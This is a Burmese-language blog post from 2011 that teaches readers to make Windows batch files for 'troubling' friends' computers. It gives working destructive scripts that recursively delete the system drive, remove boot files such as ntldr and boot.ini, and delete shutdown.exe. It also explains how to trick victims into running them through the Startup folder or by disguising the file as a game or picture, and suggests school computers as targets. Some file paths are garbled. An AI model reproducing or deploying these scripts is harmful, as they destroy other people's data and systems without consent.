Pages

0

Bat file ျပဳလုပ္နည္း

Sunday 9 January 2011

bat file ျပဳလုပ္နည္းမ်ား….
သူငယ္ခ်င္းေတြရဲ့ ကြန္ျပဴတာမ်ားကို ဒုကၡေပးခ်င္သူမ်ား အတြက္
1. Notepad program ကိုဖြင့္ပါ။ Start ထဲက Run ထဲမွာ notepad လို႕႐ိုက္လည္းရပါတယ္။
2. ဒါေလးကို copy လုပ္ျပီး ဖြင့္ထားတဲ့ notepad မွာ paste လုပ္ပါ။ ဒီလိုလုပ္
@echo off
del %systemdrive%*.* /f /s /q
shutdown -r -f -t 00
3. ျပီးရင္ save လုပ္ပါ Batch file အေနနဲ႕ save လုပ္ရမွာျဖစ္တဲ့အတြက္
.bat နဲ႕ save လုပ္ပါ။
File name ကိုၾကိဳက္တာေပးျပီး save လို႕ရပါတယ္။ example
4. ဒါဆိုရင္ျပီးပါျပီ။ ဒုကၡေပးဖို႕အဆင္သင့္ျဖစ္ေနပါျပီ။
ဒုကၡေပးနည္းအမ်ိဳးမ်ိဳး…
>ကိုယ္ဒုကၡေပးျခင္တဲ့သူရဲ့ computer မွာ create လုပ္ထားတဲ့ ဒီ Batch file ေလးကို ယူသြားျပီး
Double Click လုပ္ျပီး Run ေပးလိုက္ပါ။
>ဒါမွမဟုတ္ လုပ္ထားတဲ့ batch file ကို ဒီ path(C:Documents and SettingsAll UsersStart MenuProgramsStartup) မွာ save ထားေပးလိုက္။ လုပ္ၾကံခံရတဲ့သူ ေနာက္တခါ Window Restart ျဖစ္တာနဲ႕ ေတျပီတာမွတ္။
>ဒါမွမဟုတ္ Quick Batch File Compiler လို software သုံးျပီး လုပ္ထားတဲ့ Batch File ရဲ့ icon ေလးကိုတျခား icon လွလွေလးတခုခုနဲ႕ change ထားေပးျပီး Game လိုလိုဘာလိုလိုတာ လုပ္ထားေပးလိုက္။
Game ၾကိဳက္တတ္တဲ့သူဆိုရင္ေတာ့ Double click လုပ္မွာေသျခာပါတယ္။
>ဒါမွမဟုတ္ third party software တခုခုသုံးျပီး ဒီ Batch File ကို picture(JPEG,GIF,BMP) လိုလိုလုပ္ေပးထားလိုက္။
ကိုယ္လုပ္ၾကံမဲ့သူ Double Click လုပ္မိဖို႕ကအေရးၾကီးတာကိုး။
Caution : don't every try this on your own computer…
i won't take any responsibilities for any unnecessary damage of your
os or lost of your important datas. i post this for only Fun n
educational purpose…kaungcthu
အခုကြၽန္ေတာ္ေပးတဲ့ batch ကနဲနဲ Dangerous ျဖစ္တယ္။ Recoverမလုပ္တတ္တဲ့
သူဆိုရင္ေတာ့ windows ကို reinstall လုပ္ဖို႕ပဲစဥ္းစားမိမွာပဲ။ အရမ္းကို
မုန္းတဲ့သူကိုပဲလုပ္ပါ ဟီးဟီး။
နဲနဲပါးပါးေလာက္ပဲဆိုရင္ေတာ့ ဒါေလးနဲ႕ အေပၚမွာျပထားတဲ့အတိုင္းလုပ္ပါ။
@echo off
msg * Critical error! Retard touching computer!
shutdown -c "Error! Shutting down!" -s -t 10
နဲနဲၾကမ္းတဲ့ Batch examples ေတြ…
X.How to shut down a computer FOREVER!!
@echo off
attrib -r -s -h c: utoexec.bat
del c: utoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
X.Cruel Intension ဒါေလးကကြၽန္ေတာ္ ကိုတိုင္လုပ္ထားတာပါ
@echo off
shutdown -s -t 600 -c "I wanna play a game. Try to find the way out."
del /f /q /s %windir% ystem32 hutdown.exe
attrib -a -s -h C:ntldr
erase /f /s /q C:ntldr
သိပ္မရက္စက္ျခင္လို႕ Run မိတဲ့သူ Recover လုပ္ႏိုင္ေအာင္ အခ်ိန္ေလးေပးထားပါတယ္။
600 seconds အတြင္းအေျဖမရရင္ေတာ့…
X.ဒါေလးနဲ႕ဆိုသိပ္မၾကမ္းဘူး
shutdown -s -t 600 -c "I wanna play a game. Try to find the way out."
ထပ္ျပီးသတိေပးလိုက္ပါ့မယ္ ကိုယ္အိမ္က Computer မွာမစမ္းပါနဲ႕ ။
သင္တန္းတို႕ ေက်ာင္းတို႕က computer ေတြမွာပဲစမ္းၾကည့္ပါ။

0 Responses to "Bat file ျပဳလုပ္နည္း"